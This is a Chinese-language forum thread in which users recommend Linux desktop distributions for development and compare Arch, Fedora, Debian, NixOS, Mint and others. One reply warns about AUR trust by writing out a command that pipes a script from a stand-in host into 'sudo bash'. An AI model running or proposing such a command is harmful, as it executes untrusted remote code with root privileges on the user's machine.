服务器系统一直用的 CentOS ,后来因为收购问题,逐渐迁移到了 Debian 系。
最近手头上有台退役的台式机,AMD R5 1600 + GTX 1060 with 32G RAM ,想尝试一下桌面开发:Golang ,rust ,python 。我昨天尝鲜了一下 Ubuntu Desktop ,结果发现私货太多,打听了一下基本推荐 Linux mint 或者 Manjaro 。
不知道还有没有其他常见的选择?
|  |      101showmethetalk      140 天前 @jianghuan2 现在的 arch 是可以节省时间的,安装系统有自带安装脚本,安装应用有 aur ,比其它发行版简单好多 | 
|  |      102taoboli      140 天前 via iPhone 公司红帽系,个人 debian 系。最近打算换成 arch | 
|  |      103Sliverburger      140 天前 果然 v2 还是 arch 多,以前 arch 最近开始换 nixos ,感觉 nixos 还是要方便些,尤其是换电脑 | 
|      104yanqiyu      140 天前 自己基于 fedora silverblue 魔改的系统 | 
|  |      105Cu635      140 天前 debian sid 或者 arch linux. | 
|      106firemeteor      140 天前 via Android  2 差不多 20 年前装的 Debian 滚到今天,日常使用。硬件都升级几次了,系统还是原来那个。感觉 Linux 用熟悉了,可能发行版差别也没那么大? | 
|  |      107AppxLite      140 天前 via Android arch linux | 
|  |      108TateLiao      140 天前 不想折腾首选:Linux mint | 
|  |      109chinanala      140 天前 服务器端、个人桌面端,都只用 Debian stable ,桌面端习惯 Gnome 桌面 | 
|  |      110weixiangzhe      140 天前 arch kde | 
|  |      111debuggerx      140 天前 开发的话,选 debian ,包最全,私货最少,建议装 kde 或者 xfce 桌面 桌面好用的,其实 deepin 还是很好,就是独立成根发行版以后经常碰到包不全的问题,有点影响开发(虽然可以从 debian 仓库补,但是麻烦) 再往下推荐则是 manjaro ,新手友好,社区包多,日常用还可以,但是开发不一定适合 在往后是 UOS ,相比于 deepin 稳一些,但是个人用属实没必要 在往后才是 archlinux 其他就不推荐了…… | 
|  |      112ingramyang      140 天前 Fedora 是真的好用,flatpak+gnome+toolbox+dnf ,基本上体验无敌还不折腾,软件包还能用最新的,是真的爽。唯一的问题就是国内部分大公司的生态缺失,以及小程序的开发工具链缺失,当然,这不是 Feodra 的问题。 | 
|  |      113zooo      140 天前 没人用 pop 么 继承上一个人的电脑,发现还挺好用的 | 
|  |      114206n6Q6sFYRg1SwM      140 天前 Fedora, 不折腾, 设计理念很好 | 
|      115enihcam      140 天前 via Android cachyOS | 
|  |      116webcape233      140 天前 via iPhone arch+gnome ,公司开个虚拟机写代码也是这样搞的 | 
|      118Amaxxiewei      140 天前 安装在哪个环境很重要。macbook pro 201X 版本的,用过 arch 、linuxmint 、ubuntu ~现在用 fedora ,在外观操作稳定驱动上还可以~ | 
|  |      119necomancer      140 天前 Arch ,如果更新太频繁可以考虑 opensuse Tumbleweed slowroll | 
|  |      120yesh0      140 天前 从 Arch 换到了 Manjaro ,但了解到 Manjaro 出现过的各种问题后又换回了 Arch……甚至还有人整理了份黑历史: https://manjarno.pages.dev/ (前 AI 时代机翻版: https://manjaron.pages.dev/ ) 开发用的话,其实 Golang, Rust 这些新点的语言在不同发行版下的开发基本也大差不差——都是那几个 IDE ,剩下的全交给包管理器。但如果需要 C/C++ 的绑定的话,那就需要把各种包的头文件之类的装上;至少几年前的时候,Debian 系装各种 -dev 包还是装得挺烦的,这点上 Arch 系的包基本默认包括头文件,体验就好很多。不知现在 Debian 怎么样了。 | 
|      121sjkdsfkkfd      140 天前 Ubuntu ,没必要折腾,专注于要做的事情比较好 | 
|  |      122moonjourney      140 天前 nixos + gnome/kde/sway/niri | 
|  |      123feelinglucky      140 天前 @z1645444 #27 意满离 | 
|      124itplanes01      140 天前 via Android opensuse,比 ubuntu 稳定很多 | 
|      125cinhoo      140 天前  1 @winzkh #117 alias roll='echo $(head -n1 /var/log/pacman.log | cut -d " " -f 1,2) 以来一共滚动更新了 $(grep -c "full system upgrade" /var/log/pacman.log) 次' | 
|  |      126yzbythesea      140 天前 arch + kde | 
|  |      127wuruxu      140 天前 debian + gnome | 
|  |      12861162833      139 天前 @firemeteor 请问你用的是什么桌面? | 
|      129delusionw      139 天前 配置好一点的话的话我建议 debian+docker 或者直接装 pve | 
|      130fred649      139 天前 AlmaLinux | 
|      131tenl      139 天前 目前在用 guix Guix 属于 GNU 项目,强调自由软件和可复现性,和 nixos 一样都是函数式包管理,系统很优雅,虽然是滚动更新,但软件还是有点旧,gnome 还是 46 版本的,但 guix 系统还是有很多可圈可点的地方,值得一试,建议喜欢 nixos 的可以尝试一下,毕竟两个系统都是函数式管理 | 
|  |      132a5454775422      139 天前 最近给古董本子从 WIN10 换成了 POP-OS,真不戳 | 
|      133firemeteor      139 天前 via Android  1 @61162833 现在不爱折腾了,长期稳定在 gnome 。之前折腾过 xfce 之类的轻量级方案,后续硬件过剩了感觉也没啥必要了。 | 
|  |      134guokb      139 天前 二手惠普、联想本本, 分别装的是 Linux Mint , Manjro , EndeavourOS , 主要功能是上网,同步一些资料,感觉还不错! | 
|      135Destiny1332      139 天前 https://rhinolinux.org/ 基于 Ubuntu 的滚动发行版 其实最不折腾的就是 fedora 不好美化上来直接用就行了 | 
|      136firemeteor      139 天前 via Android 用 Linux 桌面的体验非常个人化。像我这种日常一个浏览器+输入法就能覆盖大多数场景的,用啥系统都差不多。要点就是别绑死在不兼容的软件上。 日常使用 Debian 的姿势,我可能也算是非主流。一般从 stable 到 experimental 的软件包我都混着用,再加上第三方包源和 checkinstall 这种管理外源软件包的机制。整个就一个大杂烩。 早先我更多喜欢用 unstable 里的包,日常滚动。后来感觉也没啥必要,就切换到以 stable/testing 为 base ,有选择的从其它库里拉较新的常用软件的方式。base 的部分基本上只在上游快发版本的时候,更新到 release 前的 testing 和 release 之后的 stable ,或者随着依赖让系统自行更新。 | 
|      137ryan4yin      139 天前 | 
|  |      138DUNAI      139 天前 鸿蒙 OS @xun_114514 | 
|      139allury      139 天前 via Android debian/ubuntu | 
|      140richangfoo      139 天前  1 unity 永远的经典 | 
|      141RobinHuuu      139 天前 via iPhone 还是推荐 Debian 系或者 RedHat 系,这两系支持应该是最广泛的,绝大部分软件包都有这两系的,其它系未必有。 | 
|      142bigtear      139 天前 via Android linux 当桌面用挺难受的,所以选一个活跃包多的很重要。arch 是不二人选,debian 虽然很好但更适合当服务器和容器系统, | 
|      143balddonkey1      139 天前 via Android arch 或者 manjaro ,arch wiki 很丰富,用起来最舒服的发行版 | 
|      144bookee      139 天前 EndeavourOS | 
|      145szzonly      139 天前 via Android ubuntu 2504 | 
|  |      146newstorm24566      139 天前 Ubuntu 桌面版感觉还好吧,私货很多吗?不过我好久没有用 ubuntu 桌面版了。个人用也是用 arch | 
|  |      147licolicoli      139 天前 在 Linux 上,系统组件和应用程序通常通过包来管理。但传统的包管理器仅仅管理文件,最多在包变更时执行一个 hook ,比如帮你重启服务。这种机制很难追踪系统的整体状态,也难以干净地进行定制。 而 Nix 不止管理软件的文件本身,它还能统一管理这些软件的配置。你可以明确地知道改动了系统的哪些部分,干净地在整个系统范围内为某个组件打补丁、修改编译参数,甚至替换成你自己的分支。 而 NixOS 兼具源码发行版的可控性和二进制发行版的易用性:你既能获得精细的系统管理能力,又无需自己手动编译整个系统。Nix 作为一个语言一开始确实有些难懂,但你可以把它想象成“可以执行的 JSON”,就能理解为啥这东西写起来这么怪了。何况现在有大语言模型辅助,加上论坛和社区支持,大多数问题都能解决。 实在不行,比如你要跑某些私有软件、或构建强依赖特定版本工具链的工程(比如 AOSP 、OpenWrt ),直接开个容器也就搞定了——问题不大。 | 
|  |      148gophlet      139 天前 如果是之前用的是 CentOS 的话,我推荐 Rocky Linux ,算是继承了 CentOS 的衣钵,都是红帽系的。 | 
|  |      149gophlet      139 天前 看错了,带桌面环境的我推荐 ArchLinux 或者更容易上手的 Manjaro ,桌面个人环境推荐 KDE 。 | 
|      151neutrino      139 天前 via Android @takanashisakura 正常操作,算不得私货吧 | 
|      152c398425861      139 天前 Manjro | 
|      153c398425861      139 天前 打错了,Manjaro | 
|  |      154onice      139 天前 用的国产的 deepin 。 | 
|  |      155cnt2ex      139 天前  4 个人的一些经验总结: debian 更新最不频繁。两年一个大版本,中间会有小版本的更新,因此也最稳定。不过这也算是缺点,比如当前的 stable 版本里的 gnome-shell 还是 43 ,比目前 48 落后了不少。十分适合服务器那种使用场景(及时的安全更新,并且不会由于更新导致服务出问题)。 ubuntu 相对 debian 更新稍微频繁一点。一年一个大版本,中间也会有一些包的更新。当前 ubuntu25 里 gnome-shell 版本是 48.0 ,比最新版只落后几个小版本。 fedora 半年一个大版本,中间包的更新也十分频繁,因此也有人称之为半滚动发行版。频繁的更新也带来了各种不稳定,比如前些天 mutter 更新导致的窗口变得不可以点击。但好处在于,由于其是非滚动发行版的,因此你可以停留在目前版本不更新很长一段时间,之后再更新也不会挂掉。 滚动发行版(比如 arch 、debian sid 和 fedora rawhide 等等) 上游只要出新的版本就会被打包进仓库。频繁的更新带来的就是各种不稳定,比如上面提到的 mutter 的 bug 同样影响 arch 等其他滚动发行版。并且由于是滚动发行版,你长时间不更新之后再更新就容易挂掉。 除了包管理工具和更新频率以外,各种发行版在其他一些方面也有些细微差别。比如默认的文件系统是 btrfs 还是 ext4 ,默认 swap 是 zram 、zswap 还是硬盘的分区。还有一些 systemd 的服务管理方式,比如通过 socket 方式激活等。 我个人的建议是,一般就从 ubuntu 和 fedora (或者基于他们的衍生版)里选择作为个人桌面系统使用。debian 适合服务器,滚动发行版适合那种能给上游提 bug 和 issue 的人使用(否则当小白鼠也没有意义,只是折腾自己)。 arch 的一个优点就是 aur 提供了丰富的包,但要知道 aur 是谁都可以上传的,这意味着这并不比你执行`curl -s http://not.a.malware.com/download | sudo bash`安全。同时 flathub 的存在使得 aur 的必要性变低了很多,flathub 包含了 QQ 、微信、网易云音乐和 WPS 。最重要的是 flatpak 允许你控制文件系统和网络的权限,能够避免国产软件扫盘。 我个人的选择是 fedora 的衍生版 fedora silverblue 。 同样是激进的方案,fedora 的方案比 ubuntu 的方案有品位得多。 比如 fedora 是第一个采用 systemd 和 wayland 等新技术的发行版,而最终其他各种发行版也选择了这条路线。相比之下,ubuntu 的做法则就像是硬塞各种私货,upstart 和 mir 现在可以说已经死了。 类似的 flatpak 和 snap 相比较,flatpak 更有前景。对于某些包(比如 firefox ),fedora 同时提供 flatpak 版本和 rpm 版本,而 ubuntu 只提供 snap 版本并且把源里的版本替换成 snap 的。 | 
|      156ByteCat      139 天前  1 Arch Linux + KDE ,省时间,和 Windows 比较像  | 
|  |      157baton      139 天前 习惯 Debian 系,服务器 Debian ,桌面 Linux mint | 
|      158THESDZ      139 天前 kubuntu | 
|      159macaodoll      139 天前 看硬件驱动情况来确定最终使用哪个发行版,opensuse ,ubuntu ,Fedora ,debian 我都会去试试 | 
|      160zhangchongjie      139 天前 via Android arch 用 archinstall 不要太简单 | 
|      161molika      139 天前 之前用 manjaro kde 现在用 arch + gnome 了 | 
|  |      162chingyat      139 天前 Fedora 。更新周期短,软件新,新硬件支持好。 | 
|  |      163bs10081      139 天前 如果覺得 Arch 太麻煩,其實可以試試 EndeavourOS ( EOS )。它就是基於 Arch 的,但安裝簡單很多,裝好就能直接用,還能享受 Arch 的軟體庫和 AUR ,包超多。社區也挺熱鬧的,遇到問題很容易找到人幫忙。想體驗 Arch 又懶得折騰,EOS 很適合! | 
|  |      164jsyz      139 天前 Fedora ,用过 Ubuntu ,Manjaro ,Debian ,最后还是 Fedora ,Debian 也不错 | 
|      165dayeye2006199      139 天前 via Android CachyOS 打游戏 | 
|      166busier      138 天前 via Android 桌面之前用 Linux mint ,最近需要 wayland ,不折腾 还是用 Ubuntu 了 | 
|  |      167ipixeloldc      138 天前 主用 Arch + KDE ,常见桌面软件 aur 里面都有大佬写的 pkgbuild ,装起来很方便。KED 的话,哪怕是 wayland 下 IME 也基本不会出问题。但部分商业软件我会选择改在 Ubuntu 上用,因为他们只为他做适配,而自己搞这种闭源软件的适配太累了,隔个版本就可能用不了。 | 
|      168sn0wdr1am      138 天前 Debian | 
|      169abbycin      138 天前 openSUSE Tumbleweed KDE | 
|      170hnliuzesen      138 天前 pop os | 
|  |      171skiy      138 天前 肯定是 ubuntu 啊。特别是国内的,各种驱动都是优先 ubuntu ,跑 AI 也大部分都优先 ubuntu 环境。比如摩尔线程的。但服务器,我只用 debian 。曾经也算是 centos 的忠实用户,但骚操作后就不再使用了。 | 
|      172codefun666      138 天前 折腾 Linux 发行版和桌面都是扯淡...  Redhat 系列遇到问题,在 mail list 提问,都是官方工程师来解答。 Debian 的安装界面让人难以忍受,还识别不了新主板的网卡。 | 
|  |      173huayi2      138 天前 当然 ubuntu 了,相对来说意外少一些 | 
|  |      174kenxu2023      138 天前 我推荐 Fedora ,优雅的界面( GNOME/KDE ),软件丰富(跟 Debian 系差不多),没有私货(没有 Snap ,自带 Flatpak ),不折腾(几乎开箱即用),同时半年更新一次,在比 Arch 稳定的同时又能最大程度兼容新硬件 | 
|      175shepherdlazy      138 天前 @skiy 哈哈,发现好多都是我们这个线路的,不过我几台老机器上用的 centos7 我没换还是用的,新的改 debian 了,试用过 rocky 不过发现包管理工具之类的换了,也就安装看下没有实际使用。 不过桌面的 linux 很多年前折腾过,现在无脑 macos 或者 windows | 
|      176v2lsua      138 天前 台式电脑是 ArchLinux + Gnome ,现在对切换到纯窗口管理器有点兴趣 笔记本电脑是 openSUSE + KDE ,开箱即用的发行版,也挺好用的。 | 
|      177qfly      138 天前 via Android 只是学习不对接某些特定应用且能自己搞的话 ,Arch Linux 非常好用且定制性足够好,但第三方包很多都是 Debian 系的 个人做的脚本转的,可能兼容性没 Ubuntu 好,除此之外都还可以。当然你也可以自己写脚本编译特定包,反正不经过包管理,直接用 cmake 直接编译进系统目录也是可行的。 | 
|  |      178Tink PRO ubuntu | 
|      179hirenloongdddd      138 天前 windows 11 iot ltsc wsl2 hyper-v | 
|      180spritecn      137 天前 deepin 实用.. | 
|      181takeshima      137 天前 via iPhone arch+kde 。arch linux 是实用主义至上,有些发行版可能会有开源软件洁癖,对打包的软件有严格的开源协议要求,但 arch 比较宽松,甚至打包了一些闭源软件,而且最重要的是有 AUR 这个东西,只要是提供了 Linux 版的软件,几乎都可以通过包管理器来管理,安装软件非常方便 | 
|      182pinylin      137 天前 manjaro+timeshift  五六念了 | 
|      184qq9538925      137 天前 arch + hyprland | 
|  |      185FateTrack      137 天前 我建议 kylin ,特别是客户是国企的🤣 | 
|      186sunpw      137 天前 在我看来折腾别的成本太高 还是 Ubuntu 好了 | 
|  |      187sworld233      137 天前 openSUSE | 
|      188mwxx      136 天前 Ubuntu 16 到 24 都用过,用完 24 后受不了换成了基于 Ubuntu 24 的 Linux Mint 。 | 
|      1891252603486      136 天前 @Junzh #12 不去折腾壁纸,布局,主题之类的,直接 arch+kde ,然后用 yay 安装软件就用起来了 | 
|  |      190allenby      136 天前 via Android Fedora 不错 | 
|      1911252603486      136 天前 @zjsxwc #72 差不多,工作用就 arch ,不带桌面就选 debian ,实在不行就 ubuntu ,因为有时候 debian 对一些硬件不兼容 | 
|      192horizondd      136 天前 @usal2271988404 那还不如 debian 呢起码干净 | 
|  |      193omph      136 天前 楼主可以根据回帖做个统计图出来 | 
|  |      194cnleon      127 天前 xubuntu ,xfce 可以的,不过各种 gui 的小 bug 还是不少。我儿子都有点无语了。 | 
|      195yyyb      127 天前 所有滚动更新的发行版都很爽,一直滚一直爽 | 
|  |      196shinkansen      119 天前 ARCH 系路过 | 
|      197iamwin      117 天前 试试 pop os ,就是包有点老了 | 
|      198breer      115 天前 现在也可以试试 aduinos,目前自己在用 debian+xfce | 
|  |      199Darren      103 天前 Ruby on Rails 作者 DHH 出了个 Omarchy ,基于 Arch + Hyprland 定制,可以试一下。 |